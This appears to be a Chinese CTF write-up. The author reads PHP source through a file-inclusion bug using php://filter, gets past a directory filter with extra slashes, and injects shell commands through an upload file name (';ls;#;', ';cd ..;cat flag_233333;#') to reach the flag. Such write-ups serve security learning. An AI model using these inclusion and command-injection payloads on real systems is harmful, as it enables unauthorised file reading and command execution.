一个可爱的猫猫登陆界面,日常扫目录抓包看代码
尝试注入被waf了
发现一个注册后台,老老实实注册
register.php
登进去是个跟猫猫无关好像有一些功能点但是抓包什么也看不出的页面而且似曾相识感觉在哪里见到过。
略加思索
看看url感觉可以进行文件包含
php伪协议指南
先看看当前的页面
/user.php?page=php://filter/convert.base64-encode/resource=user
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
好像没什么有用的东西(页面进行base64解码查看源码),在function.php看看
/user.php?page=php://filter/convert.base64-encode/resource=function
发现被限制访问了,可以在url中多加几个斜杆绕过,然后依次读取ffffflllllllaaaaaggg和m4aaannngggeee.php
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
给出一个文件上传地址,访问后上传
上传失败,直接访问upllloadddd.php
可以看到文件名直接拼接在命令中,那么可以通过文件名来控制指令
问题来了,正确的上传路径是什么呢
找了很久,未果。。。qmq
(看了别人的wp后)
/user.php?page=m4aaannngggeee
处为真正的上传点
抓包,改文件名为
;ls;#;
列出所有目录
发现没有flag,去上一级看看
;cd …;ls;#
catflag
;cd …;cat flag_233333;#